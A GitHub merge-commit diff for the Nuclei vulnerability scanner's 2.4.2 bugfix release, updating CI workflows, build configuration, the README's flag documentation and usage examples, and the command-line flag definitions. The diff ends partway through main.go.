Merge pull request #886 from projectdiscovery/dev

2.4.2 Bugfix Release

.github/dependabot.yml

@@ -11,6 +11,7 @@ updates:
     directory: "/"
     schedule:
       interval: "weekly"
+    target-branch: "dev"
     commit-message:
       prefix: "chore"
       include: "scope"
@@ -20,6 +21,7 @@ updates:
     directory: "/"
     schedule:
       interval: "weekly"
+    target-branch: "dev"
     commit-message:
       prefix: "chore"
       include: "scope"
@@ -29,6 +31,7 @@ updates:
     directory: "/"
     schedule:
       interval: "weekly"
+    target-branch: "dev"
     commit-message:
       prefix: "chore"
-      include: "scope"
+      include: "scope"

.github/workflows/build-test.yml

@@ -0,0 +1,31 @@
+name: 🔨 Build Test
+on:
+  push:
+  pull_request:
+  workflow_dispatch:
+
+
+jobs:  
+  build:
+    name: Test Builds
+    runs-on: ubuntu-latest
+    steps:
+      - name: Set up Go
+        uses: actions/setup-go@v2
+        with:
+          go-version: 1.15
+
+      - name: Check out code
+        uses: actions/checkout@v2
+
+      - name: Test
+        run: go test ./...
+        working-directory: v2/
+
+      - name: Integration Tests
+        run: bash run.sh
+        working-directory: integration_tests/
+
+      - name: Build
+        run: go build .
+        working-directory: v2/cmd/nuclei/

.github/workflows/build.yaml

@@ -1,45 +0,0 @@
-name: Build
-on:
-  push:
-    branches:
-      - master
-  pull_request:
-
-jobs:
-  lint:
-    name: golangci-lint
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout code
-        uses: actions/checkout@v2
-      - name: Run golangci-lint
-        uses: golangci/golangci-lint-action@v2
-        with:
-          # Required: the version of golangci-lint is required and must be specified without patch version: we always use the latest patch version.
-          version: v1.33
-          args: --timeout 5m
-          working-directory: v2/
-        
-  build:
-    name: Build
-    runs-on: ubuntu-latest
-    steps:
-      - name: Set up Go
-        uses: actions/setup-go@v2
-        with:
-          go-version: 1.15
-
-      - name: Check out code
-        uses: actions/checkout@v2
-
-      - name: Test
-        run: go test ./...
-        working-directory: v2/
-
-      - name: Integration Tests
-        run: bash run.sh
-        working-directory: integration_tests/
-
-      - name: Build
-        run: go build .
-        working-directory: v2/cmd/nuclei/

.github/workflows/codeql-analysis.yml

@@ -0,0 +1,38 @@
+name: 🚨 CodeQL Analysis
+
+on:
+  workflow_dispatch:
+  pull_request:
+    branches:
+      - dev
+
+jobs:
+  analyze:
+    name: Analyze
+    runs-on: ubuntu-latest
+    permissions:
+      actions: read
+      contents: read
+      security-events: write
+
+    strategy:
+      fail-fast: false
+      matrix:
+        language: [ 'go' ]
+        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
+
+    steps:
+    - name: Checkout repository
+      uses: actions/checkout@v2
+
+    # Initializes the CodeQL tools for scanning.
+    - name: Initialize CodeQL
+      uses: github/codeql-action/init@v1
+      with:
+        languages: ${{ matrix.language }}
+
+    - name: Autobuild
+      uses: github/codeql-action/autobuild@v1
+
+    - name: Perform CodeQL Analysis
+      uses: github/codeql-action/analyze@v1

.github/workflows/dockerhub-push.yml

@@ -1,19 +1,34 @@
-# dockerhub-push pushes docker build to dockerhub automatically
-# on the creation of a new release
-name: Publish to Dockerhub on creation of a new release
-on: 
+name: 🌥 Docker Push
+
+on:
   release:
     types: [published]
+  workflow_dispatch:
+
 jobs:
-  update:
+  docker:
     runs-on: ubuntu-latest
     steps:
-    - uses: actions/checkout@master
-    - name: Publish to Dockerhub Registry
-      #pre: echo ::save-state name=RELEASE_VERSION::$(echo ${GITHUB_REF:10})
-      uses: elgohr/Publish-Docker-Github-Action@master
-      with:
-        name: projectdiscovery/nuclei
-        username: ${{ secrets.DOCKER_USERNAME }}
-        password: ${{ secrets.DOCKER_PASSWORD }}
-        tags: "latest" #"latest,${{ env.STATE_RELEASE_VERSION }}"
+      -
+        name: Checkout
+        uses: actions/checkout@v2
+      -
+        name: Set up QEMU
+        uses: docker/setup-qemu-action@v1
+      -
+        name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@v1
+      -
+        name: Login to DockerHub
+        uses: docker/login-action@v1 
+        with:
+          username: ${{ secrets.DOCKER_USERNAME }}
+          password: ${{ secrets.DOCKER_TOKEN }}
+      -
+        name: Build and push
+        uses: docker/build-push-action@v2
+        with:
+          context: .
+          platforms: linux/amd64,linux/arm64,linux/arm
+          push: true
+          tags: projectdiscovery/nuclei:latest

.github/workflows/lint-test.yml

@@ -0,0 +1,19 @@
+name: 🙏🏻 Lint Test
+on:
+  push:
+  pull_request:
+  workflow_dispatch:
+
+jobs:
+  lint:
+    name: Lint Test
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v2
+      - name: Run golangci-lint
+        uses: golangci/golangci-lint-action@v2
+        with:
+          version: latest
+          args: --timeout 5m
+          working-directory: v2/

.github/workflows/release-binary.yml

@@ -1,8 +1,9 @@
-name: Release
+name: 🎉 Release Binary
 on:
   create:
     tags:
       - v*
+  workflow_dispatch:
 
 jobs: 
   release: 
@@ -17,7 +18,7 @@ jobs:
         name: "Set up Go"
         uses: actions/setup-go@v2
         with: 
-          go-version: 1.15
+          go-version: 1.16
       - 
         env: 
           GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
@@ -26,5 +27,4 @@ jobs:
         with: 
           args: "release --rm-dist"
           version: latest
-          workdir: v2/
-        
+          workdir: v2/

.gitignore

@@ -3,4 +3,8 @@ v2/cmd/nuclei/nuclei
 .idea
 integration_tests/integration-test
 integration_tests/nuclei
-v2/cmd/integration-test/integration-test
+v2/cmd/integration-test/integration-test
+bin
+v2/pkg/protocols/common/helpers/deserialization/testdata/Deserialize.class
+v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject.class
+v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject2.ser

.golangci.yml

@@ -66,7 +66,6 @@ linters:
     - gocritic
     - gofmt
     - goimports
-    - golint
     #- gomnd
     - goprintffuncname
     - gosimple
@@ -89,6 +88,7 @@ linters:
     - unused
     - varcheck
     - whitespace
+    - revive
 
   # don't enable:
   # - depguard
@@ -105,11 +105,4 @@ linters:
   # - nestif
   # - prealloc
   # - testpackage
-  # - wsl
-
-# golangci.com configuration
-# https://github.com/golangci/golangci/wiki/Configuration
-service:
-  golangci-lint-version: 1.33.x # use the fixed version to not introduce new linters unexpectedly
-  prepare:
-    - echo "here I can run custom commands, but no preparation needed for this repo"
+  # - wsl

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.15-alpine as build-env
+FROM golang:1.16.6-alpine as build-env
 RUN GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei
 
 FROM alpine:latest

README.md

@@ -11,8 +11,8 @@
 <a href="https://github.com/projectdiscovery/nuclei/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
 <a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei"></a>
 <a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
-<a href="https://discord.gg/KECAGdH"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
-<a href="https://github.com/projectdiscovery/nuclei/actions/workflows/build.yaml"><img src="https://github.com/projectdiscovery/nuclei/actions/workflows/build.yaml/badge.svg?branch=master"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+<a href="https://github.com/projectdiscovery/nuclei/actions/workflows/build-test.yml"><img src="https://github.com/projectdiscovery/nuclei/actions/workflows/build-test.yml/badge.svg?branch=master"></a>
 </p>
       
 <p align="center">
@@ -22,8 +22,8 @@
   <a href="#for-developers-and-organisations">For Developers</a> •
   <a href="https://nuclei.projectdiscovery.io/nuclei/get-started/">Documentation</a> •
   <a href="#credits">Credits</a> •
-  <a href="#license">License</a> •
-  <a href="https://discord.gg/KECAGdH">Join Discord</a>
+  <a href="https://nuclei.projectdiscovery.io/faq/nuclei/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
 </p>
 
 ---
@@ -45,33 +45,152 @@ We have a [dedicated repository](https://github.com/projectdiscovery/nuclei-temp
 # Install Nuclei
 
 ```sh
-▶ GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei
+GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei
 ```
 
-**More installation [methods can be found here](https://nuclei.projectdiscovery.io/nuclei/get-started/#nuclei-installation).**
+**More installation [methods can be found here](https://nuclei.projectdiscovery.io/nuclei/get-started/).**
 
 <table>
 <tr>
 <td>  
 
-### Download Templates
+### Nuclei Templates
 
-You can download and update the nuclei templates using <ins>*update-templates*</ins> flag of nuclei that downloads all the available **nuclei-templates** from [Github project](https://github.com/projectdiscovery/nuclei-templates), a community curated list of templates that are ready to use.
+Nuclei has had built-in support for automatic update/download templates since version [v2.4.0](https://github.com/projectdiscovery/nuclei/releases/tag/v2.4.0). [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) project provides a community-contributed list of ready-to-use templates that is constantly updated.
 
-`▶ nuclei -update-templates`
-
-Nuclei is designed to used with custom templates according to the target and workflow, you can write your own checks for your specific workflow and needs, please refer to nuclei [templating guide](https://nuclei.projectdiscovery.io/templating-guide/) to write your own custom templates.
+You may still use the `update-templates` flag to update the nuclei templates at any time; automatic updates happen every 24 hours. You can write your own checks for your individual workflow and needs following Nuclei's [templating guide](https://nuclei.projectdiscovery.io/templating-guide/).
 
 </td>
 </tr>
 </table>
 
-### Running Nuclei
-
-Scanning for CVEs on given list of URLs.
+### Usage
 
 ```sh
-▶ nuclei -l target_urls.txt -t cves/
+nuclei -h
+```
+
+This will display help for the tool. Here are all the switches it supports.
+
+
+```yaml
+Nuclei is a fast, template based vulnerability scanner focusing
+on extensive configurability, massive extensibility and ease of use.
+
+Usage:
+  ./nuclei [flags]
+
+Flags:
+TARGET:
+   -u, -target string  target URL/host to scan
+   -l, -list string    path to file containing a list of target URLs/hosts to scan (one per line)
+
+TEMPLATES:
+   -tl                      list all available templates
+   -t, -templates string[]  template or template directory paths to include in the scan
+   -w, -workflows string[]  list of workflows to run
+   -nt, -new-templates      run newly added templates only
+   -validate                validate the passed templates to nuclei
+
+FILTERING:
+   -tags string[]                         execute a subset of templates that contain the provided tags
+   -include-tags string[]                 tags from the default deny list that permit executing more intrusive templates
+   -etags, -exclude-tags string[]         exclude templates with the provided tags
+   -include-templates string[]            templates to be executed even if they are excluded either by default or configuration
+   -exclude-templates, -exclude string[]  template or template directory paths to exclude
+   -severity, -impact string[]            execute templates that match the provided severities only
+   -author string[]                       execute templates that are (co-)created by the specified authors
+
+OUTPUT:
+   -o, -output string            output file to write found issues/vulnerabilities
+   -silent                       display findings only
+   -v, -verbose                  show verbose output
+   -vv                           display extra verbose information
+   -nc, -no-color                disable output content coloring (ANSI escape codes)
+   -json                         write output in JSONL(ines) format
+   -irr, -include-rr             include request/response pairs in the JSONL output (for findings only)
+   -nm, -no-meta                 don't display match metadata
+   -rdb, -report-db string       local nuclei reporting database (always use this to persist report data)
+   -me, -markdown-export string  directory to export results in markdown format
+   -se, -sarif-export string     file to export results in SARIF format
+
+CONFIGURATIONS:
+   -config string              path to the nuclei configuration file
+   -rc, -report-config string  nuclei reporting module configuration file
+   -H, -header string[]        custom headers in header:value format
+   -r, -resolvers string       file containing resolver list for nuclei
+   -system-resolvers           use system DNS resolving as error fallback
+   -passive                    enable passive HTTP response processing mode
+
+INTERACTSH:
+   -no-interactsh                     do not use interactsh server for blind interaction polling
+   -interactsh-url string             self-hosted Interactsh Server URL (default "https://interact.sh")
+   -interactions-cache-size int       number of requests to keep in the interactions cache (default 5000)
+   -interactions-eviction int         number of seconds to wait before evicting requests from cache (default 60)
+   -interactions-poll-duration int    number of seconds to wait before each interaction poll request (default 5)
+   -interactions-cooldown-period int  extra time for interaction polling before exiting (default 5)
+
+RATE-LIMIT:
+   -rl, -rate-limit int  maximum number of requests to send per second (default 150)
+   -bs, -bulk-size int   maximum number of hosts to be analyzed in parallel per template (default 25)
+   -c, -concurrency int  maximum number of templates to be executed in parallel (default 10)
+
+OPTIMIZATIONS:
+   -timeout int               time to wait in seconds before timeout (default 5)
+   -retries int               number of times to retry a failed request (default 1)
+   -project                   use a project folder to avoid sending same request multiple times
+   -project-path string       set a specific project path (default "/var/folders/ml/m31ysb5x73l1s3kjlyn5g4180000gn/T/")
+   -spm, -stop-at-first-path  stop processing HTTP requests after the first match (may break template/workflow logic)
+
+HEADLESS:
+   -headless          enable templates that require headless browser support
+   -page-timeout int  seconds to wait for each page in headless mode (default 20)
+   -show-browser      show the browser on the screen when running templates with headless mode
+
+DEBUG:
+   -debug                     show all requests and responses
+   -debug-req                 show all sent requests
+   -debug-resp                show all received responses
+   -proxy, -proxy-url string  URL of the HTTP proxy server
+   -proxy-socks-url string    URL of the SOCKS proxy server
+   -trace-log string          file to write sent requests trace log
+   -version                   show nuclei version
+   -tv, -templates-version    shows the version of the installed nuclei-templates
+
+UPDATE:
+   -update                        update nuclei to the latest released version
+   -ut, -update-templates         update the community templates to latest released version
+   -ud, -update-directory string  overwrite the default nuclei-templates directory (default "$HOME/nuclei-templates")
+
+STATISTICS:
+   -stats                    display statistics about the running scan
+   -stats-json               write statistics data to an output file in JSONL(ines) format
+   -si, -stats-interval int  number of seconds to wait between showing a statistics update (default 5)
+   -metrics                  expose nuclei metrics on a port
+   -metrics-port int         port to expose nuclei metrics on (default 9092)
+```
+
+### Running Nuclei
+
+Scanning target domain with [community-curated](https://github.com/projectdiscovery/nuclei-templates) nuclei templates.
+
+```sh
+nuclei -u https://example.com
+```
+
+Scanning target URLs with [community-curated](https://github.com/projectdiscovery/nuclei-templates) nuclei templates.
+
+```sh
+nuclei -list urls.txt
+```
+
+Example of `urls.txt`:
+
+```yaml
+http://example.com
+http://app.example.com
+http://test.example.com
+http://uat.example.com
 ```
 
 **More detailed examples of running nuclei can be found [here](https://nuclei.projectdiscovery.io/nuclei/get-started/#running-nuclei).**
@@ -94,7 +213,7 @@ Nuclei offers great number of features that are helpful for security engineers t
 
 **For bugbounty hunters:**
 
-Nuclei allows you to customise your testing approach with your own suite of checks and easily run across your bug bounty programs. Moroever, Nuclei can be easily integrated into any continuous scanning workflow.
+Nuclei allows you to customise your testing approach with your own suite of checks and easily run across your bug bounty programs. Moreover, Nuclei can be easily integrated into any continuous scanning workflow.
 
 - Designed to be easily integrated into other tool workflow.
 - Can process thousands of hosts in few minutes.
@@ -147,8 +266,10 @@ We have [a discussion thread around this](https://github.com/projectdiscovery/nu
 - [Community Powered Scanning with Nuclei](https://blog.projectdiscovery.io/community-powered-scanning-with-nuclei/)
 - [Nuclei Unleashed - Quickly write complex exploits](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/)
 - [Nuclei - Fuzz all the things](https://blog.projectdiscovery.io/nuclei-fuzz-all-the-things/)
+- [Nuclei + Interactsh Integration for Automating OOB Testing](https://blog.projectdiscovery.io/nuclei-interactsh-integration/)
 - [Weaponizes nuclei Workflows to Pwn All the Things](https://medium.com/@dwisiswant0/weaponizes-nuclei-workflows-to-pwn-all-the-things-cd01223feb77) by [@dwisiswant0](https://github.com/dwisiswant0)
 - [How to Scan Continuously with Nuclei?](https://medium.com/@dwisiswant0/how-to-scan-continuously-with-nuclei-fcb7e9d8b8b9) by [@dwisiswant0](https://github.com/dwisiswant0)
+- [Hack with Automation !!!](https://dhiyaneshgeek.github.io/web/security/2021/07/19/hack-with-automation/) by [@DhiyaneshGeek](https://github.com/DhiyaneshGeek)
 
 ### Credits
 
@@ -161,5 +282,5 @@ Thanks to all the amazing community [contributors for sending PRs](https://githu
 Nuclei is distributed under [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md)
 
 <h1 align="left">
-  <a href="https://discord.gg/KECAGdH"><img src="static/Join-Discord.png" width="380" alt="Join Discord"></a> <a href="https://nuclei.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Check Nuclei Documentation"></a>
+  <a href="https://discord.gg/projectdiscovery"><img src="static/Join-Discord.png" width="380" alt="Join Discord"></a> <a href="https://nuclei.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Check Nuclei Documentation"></a>
 </h1>

SECURITY.md

@@ -0,0 +1,5 @@
+# Security Policy
+
+## Reporting a Vulnerability
+
+DO NOT CREATE AN ISSUE to report a security problem. Instead, please send an email to security@projectdiscovery.io and we will acknowledge it within 3 working days.

integration_tests/http/raw-unsafe-request.yaml

@@ -17,4 +17,4 @@ requests:
     matchers:
       - type: word
         words:
-          - "This is test-raw-unsafe request matcher."
+          - "This is test raw-unsafe-matcher test"

integration_tests/run.sh

@@ -2,10 +2,10 @@
 
 cd ../v2/cmd/nuclei
 go build
-cp nuclei ../../../integration_tests/nuclei 
+mv nuclei ../../../integration_tests/nuclei 
 cd ../integration-test
 go build
-cp integration-test ../../../integration_tests/integration-test 
+mv integration-test ../../../integration_tests/integration-test 
 cd ../../../integration_tests
 ./integration-test
 if [ $? -eq 0 ]

v2/.goreleaser.yml

@@ -3,23 +3,31 @@ before:
     - go mod tidy
 
 builds:
-    - binary: nuclei
-      main: cmd/nuclei/main.go
-      goos:
-        - linux
-        - windows
-        - darwin
-      goarch:
-        - amd64
-        - 386
-        - arm
-        - arm64
-  
+- env:
+  - CGO_ENABLED=0
+  goos:
+    - windows
+    - linux
+    - darwin
+  goarch:
+    - amd64
+    - 386
+    - arm
+    - arm64
+
+  ignore:
+    - goos: darwin
+      goarch: '386'
+    - goos: windows
+      goarch: 'arm'
+
+  binary: '{{ .ProjectName }}'
+  main: cmd/nuclei/main.go
+
 archives:
-    - id: tgz
-      format: tar.gz
-      replacements:
-          darwin: macOS
-      format_overrides:
-          - goos: windows
-            format: zip
+- format: zip
+  replacements:
+      darwin: macOS
+
+checksum:
+  algorithm: sha256

v2/Makefile

@@ -0,0 +1,14 @@
+# Go parameters
+GOCMD=go
+GOBUILD=$(GOCMD) build
+GOMOD=$(GOCMD) mod
+GOTEST=$(GOCMD) test
+GOGET=$(GOCMD) get
+    
+all: build
+build:
+		$(GOBUILD) -v -ldflags="-extldflags=-static" -o "nuclei" cmd/nuclei/main.go
+test: 
+		$(GOTEST) -v ./...
+tidy:
+		$(GOMOD) tidy

v2/cmd/integration-test/http.go

@@ -474,8 +474,7 @@ func (h *httpRawUnsafeRequest) Execute(filePath string) error {
 
 	ts := testutils.NewTCPServer(func(conn net.Conn) {
 		defer conn.Close()
-
-		_, _ = conn.Write([]byte("HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Length: 40\r\nContent-Type: text/plain; charset=utf-8\r\nDate: Thu, 25 Feb 2021 17:17:28 GMT\r\n\r\nThis is test-raw-unsafe request matcher.\r\n"))
+		_, _ = conn.Write([]byte("HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Length: 36\r\nContent-Type: text/plain; charset=utf-8\r\n\r\nThis is test raw-unsafe-matcher test"))
 	})
 	defer ts.Close()
 

v2/cmd/nuclei/issue-tracker-config.yaml

@@ -32,14 +32,16 @@
 #  issue-label: ""
 
 # jira contains configuration options for jira issue tracker
-#jira: 
+#jira:
+#  # Cloud is the boolean which tells if Jira instance is running in the cloud or on-prem version is used
+#  cloud: true
 #  # URL is the jira application url
 #  url: ""
-#  # account-id is the account-id of the jira user
+#  # account-id is the account-id of the jira user or username in case of on-prem Jira
 #  account-id: ""
 #  # email is the email of the user for jira instance
 #  email: ""
-#  # token is the token for jira instance.
+#  # token is the token for jira instance or password in case of on-prem Jira
 #  token: ""
 #  # project-name is the name of the project.
 #  project-name: ""

v2/cmd/nuclei/main.go

@@ -24,73 +24,155 @@ func main() {
 	if err != nil {
 		gologger.Fatal().Msgf("Could not create runner: %s\n", err)
 	}
-	nucleiRunner.RunEnumeration()
+	if nucleiRunner == nil {
+		return
+	}
+	if err := nucleiRunner.RunEnumeration(); err != nil {
+		gologger.Fatal().Msgf("Could not run nuclei: %s\n", err)
+	}
+	nucleiRunner.Close()
 }
 
 func readConfig() {
 	home, _ := os.UserHomeDir()
 	templatesDirectory := path.Join(home, "nuclei-templates")
 
-	set := goflags.New()
-	set.SetDescription(`Nuclei is a fast tool for configurable targeted scanning 
-based on templates offering massive extensibility and ease of use.`)
-	set.StringVar(&cfgFile, "config", "", "Nuclei configuration file")
-	set.BoolVar(&options.Metrics, "metrics", false, "Expose nuclei metrics on a port")
-	set.IntVar(&options.MetricsPort, "metrics-port", 9092, "Port to expose nuclei metrics on")
-	set.StringVarP(&options.Target, "target", "u", "", "URL to scan with nuclei")
-	set.StringSliceVarP(&options.Templates, "templates", "t", []string{}, "Templates to run, supports single and multiple templates using directory.")
-	set.StringSliceVarP(&options.Workflows, "workflows", "w", []string{}, "Workflows to run for nuclei")
-	set.StringSliceVarP(&options.ExcludedTemplates, "exclude", "et", []string{}, "Templates to exclude, supports single and multiple templates using directory.")
-	set.StringSliceVarP(&options.Severity, "severity", "impact", []string{}, "Templates to run based on severity, supports single and multiple severity.")
-	set.StringVarP(&options.Targets, "list", "l", "", "List of URLs to run templates on")
-	set.StringVarP(&options.Output, "output", "o", "", "File to write output to (optional)")
-	set.StringVar(&options.ProxyURL, "proxy-url", "", "URL of the proxy server")
-	set.StringVar(&options.ProxySocksURL, "proxy-socks-url", "", "URL of the proxy socks server")
-	set.BoolVar(&options.Silent, "silent", false, "Show only results in output")
-	set.BoolVar(&options.Version, "version", false, "Show version of nuclei")
-	set.BoolVarP(&options.Verbose, "verbose", "v", false, "Show verbose output")
-	set.BoolVarP(&options.NoColor, "no-color", "nc", false, "Disable colors in output")
-	set.IntVar(&options.Timeout, "timeout", 5, "Time to wait in seconds before timeout")
-	set.IntVar(&options.Retries, "retries", 1, "Number of times to retry a failed request")
-	set.BoolVarP(&options.RandomAgent, "random-agent", "ra", false, "Use randomly selected HTTP User-Agent header value")
-	set.StringSliceVarP(&options.CustomHeaders, "header", "H", []string{}, "Custom Header.")
-	set.BoolVar(&options.Debug, "debug", false, "Debugging request and responses")
-	set.BoolVar(&options.DebugRequests, "debug-req", false, "Debugging request")
-	set.BoolVar(&options.DebugResponse, "debug-resp", false, "Debugging response")
-	set.BoolVarP(&options.UpdateTemplates, "update-templates", "ut", false, "Download / updates nuclei community templates")
-	set.StringVar(&options.TraceLogFile, "trace-log", "", "File to write sent requests trace log")
-	set.StringVarP(&options.TemplatesDirectory, "update-directory", "ud", templatesDirectory, "Directory storing nuclei-templates")
-	set.BoolVar(&options.JSON, "json", false, "Write json output to files")
-	set.BoolVarP(&options.JSONRequests, "include-rr", "irr", false, "Write requests/responses for matches in JSON output")
-	set.BoolVar(&options.EnableProgressBar, "stats", false, "Display stats of the running scan")
-	set.BoolVar(&options.TemplateList, "tl", false, "List available templates")
-	set.IntVarP(&options.RateLimit, "rate-limit", "rl", 150, "Maximum requests to send per second")
-	set.BoolVarP(&options.StopAtFirstMatch, "stop-at-first-path", "spm", false, "Stop processing http requests at first match (this may break template/workflow logic)")
-	set.IntVarP(&options.BulkSize, "bulk-size", "bs", 25, "Maximum Number of hosts analyzed in parallel per template")
-	set.IntVarP(&options.TemplateThreads, "concurrency", "c", 10, "Maximum Number of templates executed in parallel")
-	set.BoolVar(&options.Project, "project", false, "Use a project folder to avoid sending same request multiple times")
-	set.StringVar(&options.ProjectPath, "project-path", "", "Use a user defined project folder, temporary folder is used if not specified but enabled")
-	set.BoolVarP(&options.NoMeta, "no-meta", "nm", false, "Don't display metadata for the matches")
-	set.BoolVarP(&options.TemplatesVersion, "templates-version", "tv", false, "Shows the installed nuclei-templates version")
-	set.BoolVar(&options.OfflineHTTP, "passive", false, "Enable Passive HTTP response processing mode")
-	set.StringVarP(&options.BurpCollaboratorBiid, "burp-collaborator-biid", "biid", "", "Burp Collaborator BIID")
-	set.StringVarP(&options.ReportingConfig, "report-config", "rc", "", "Nuclei Reporting Module configuration file")
-	set.StringVarP(&options.ReportingDB, "report-db", "rdb", "", "Local Nuclei Reporting Database (Always use this to persistent report data)")
-	set.StringSliceVar(&options.Tags, "tags", []string{}, "Tags to execute templates for")
-	set.StringSliceVarP(&options.ExcludeTags, "exclude-tags", "etags", []string{}, "Exclude templates with the provided tags")
-	set.StringVarP(&options.ResolversFile, "resolvers", "r", "", "File containing resolver list for nuclei")
-	set.BoolVar(&options.Headless, "headless", false, "Enable headless browser based templates support")
-	set.BoolVar(&options.ShowBrowser, "show-browser", false, "Show the browser on the screen")
-	set.IntVarP(&options.StatsInterval, "stats-interval", "si", 5, "Number of seconds between each stats line")
-	set.BoolVar(&options.SystemResolvers, "system-resolvers", false, "Use system dns resolving as error fallback")
-	set.IntVar(&options.PageTimeout, "page-timeout", 20, "Seconds to wait for each page in headless")
-	set.BoolVarP(&options.NewTemplates, "new-templates", "nt", false, "Only run newly added templates")
-	set.StringVarP(&options.DiskExportDirectory, "disk-export", "de", "", "Directory on disk to export reports in markdown to")
-	_ = set.Parse()
+	flagSet := goflags.NewFlagSet()
+	flagSet.SetDescription(`Nuclei is a fast, template based vulnerability scanner focusing
+on extensive configurability, massive extensibility and ease of use.`)
+
+	createGroup(flagSet, "input", "Target",
+		flagSet.StringVarP(&options.Target, "target", "u", "", "target URL/host to scan"),
+		flagSet.StringVarP(&options.Targets, "list", "l", "", "path to file containing a list of target URLs/hosts to scan (one per line)"),
+	)
+
+	createGroup(flagSet, "templates", "Templates",
+		flagSet.BoolVar(&options.TemplateList, "tl", false, "list all available templates"),
+
+		flagSet.StringSliceVarP(&options.Templates, "templates", "t", []string{}, "template or template directory paths to include in the scan"),
+		flagSet.StringSliceVarP(&options.Workflows, "workflows", "w", []string{}, "list of workflows to run"),
+
+		flagSet.BoolVarP(&options.NewTemplates, "new-templates", "nt", false, "run newly added templates only"),
+		flagSet.BoolVar(&options.Validate, "validate", false, "validate the passed templates to nuclei"),
+	)
+
+	createGroup(flagSet, "filters", "Filtering",
+		flagSet.NormalizedStringSliceVar(&options.Tags, "tags", []string{}, "execute a subset of templates that contain the provided tags"),
+		flagSet.NormalizedStringSliceVar(&options.IncludeTags, "include-tags", []string{}, "tags from the default deny list that permit executing more intrusive templates"), // TODO show default deny list
+		flagSet.NormalizedStringSliceVarP(&options.ExcludeTags, "exclude-tags", "etags", []string{}, "exclude templates with the provided tags"),
+
+		flagSet.StringSliceVar(&options.IncludeTemplates, "include-templates", []string{}, "templates to be executed even if they are excluded either by default or configuration"),
+		flagSet.StringSliceVarP(&options.ExcludedTemplates, "exclude", "exclude-templates", []string{}, "template or template directory paths to exclude"),
+
+		flagSet.NormalizedStringSliceVarP(&options.Severity, "impact", "severity", []string{}, "execute templates that match the provided severities only"),
+		flagSet.NormalizedStringSliceVar(&options.Author, "author", []string{}, "execute templates that are (co-)created by the specified authors"),
+	)
+
+	createGroup(flagSet, "output", "Output",
+		flagSet.StringVarP(&options.Output, "output", "o", "", "output file to write found issues/vulnerabilities"),
+
+		flagSet.BoolVar(&options.Silent, "silent", false, "display findings only"),
+		flagSet.BoolVarP(&options.Verbose, "verbose", "v", false, "show verbose output"),
+		flagSet.BoolVar(&options.VerboseVerbose, "vv", false, "display extra verbose information"),
+		flagSet.BoolVarP(&options.NoColor, "no-color", "nc", false, "disable output content coloring (ANSI escape codes)"),
+
+		flagSet.BoolVar(&options.JSON, "json", false, "write output in JSONL(ines) format"),
+		flagSet.BoolVarP(&options.JSONRequests, "include-rr", "irr", false, "include request/response pairs in the JSONL output (for findings only)"),
+
+		flagSet.BoolVarP(&options.NoMeta, "no-meta", "nm", false, "don't display match metadata"),
+		flagSet.StringVarP(&options.ReportingDB, "report-db", "rdb", "", "local nuclei reporting database (always use this to persist report data)"),
+
+		flagSet.StringVarP(&options.DiskExportDirectory, "markdown-export", "me", "", "directory to export results in markdown format"),
+		flagSet.StringVarP(&options.SarifExport, "sarif-export", "se", "", "file to export results in SARIF format"),
+	)
+
+	createGroup(flagSet, "configs", "Configurations",
+		flagSet.StringVar(&cfgFile, "config", "", "path to the nuclei configuration file"),
+		flagSet.StringVarP(&options.ReportingConfig, "report-config", "rc", "", "nuclei reporting module configuration file"), // TODO merge into the config file or rename to issue-tracking
+
+		flagSet.StringSliceVarP(&options.CustomHeaders, "header", "H", []string{}, "custom headers in header:value format"),
+
+		flagSet.StringVarP(&options.ResolversFile, "resolvers", "r", "", "file containing resolver list for nuclei"),
+		flagSet.BoolVar(&options.SystemResolvers, "system-resolvers", false, "use system DNS resolving as error fallback"),
+		flagSet.BoolVar(&options.OfflineHTTP, "passive", false, "enable passive HTTP response processing mode"),
+	)
+
+	createGroup(flagSet, "interactsh", "interactsh",
+		flagSet.BoolVar(&options.NoInteractsh, "no-interactsh", false, "do not use interactsh server for blind interaction polling"),
+		flagSet.StringVar(&options.InteractshURL, "interactsh-url", "https://interact.sh", "self-hosted Interactsh Server URL"),
+
+		flagSet.IntVar(&options.InteractionsCacheSize, "interactions-cache-size", 5000, "number of requests to keep in the interactions cache"),
+		flagSet.IntVar(&options.InteractionsEviction, "interactions-eviction", 60, "number of seconds to wait before evicting requests from cache"),
+		flagSet.IntVar(&options.InteractionsPollDuration, "interactions-poll-duration", 5, "number of seconds to wait before each interaction poll request"),
+		flagSet.IntVar(&options.InteractionsColldownPeriod, "interactions-cooldown-period", 5, "extra time for interaction polling before exiting"),
+	)
+
+	createGroup(flagSet, "rate-limit", "Rate-Limit",
+		flagSet.IntVarP(&options.RateLimit, "rate-limit", "rl", 150, "maximum number of requests to send per second"),
+		flagSet.IntVarP(&options.BulkSize, "bulk-size", "bs", 25, "maximum number of hosts to be analyzed in parallel per template"),
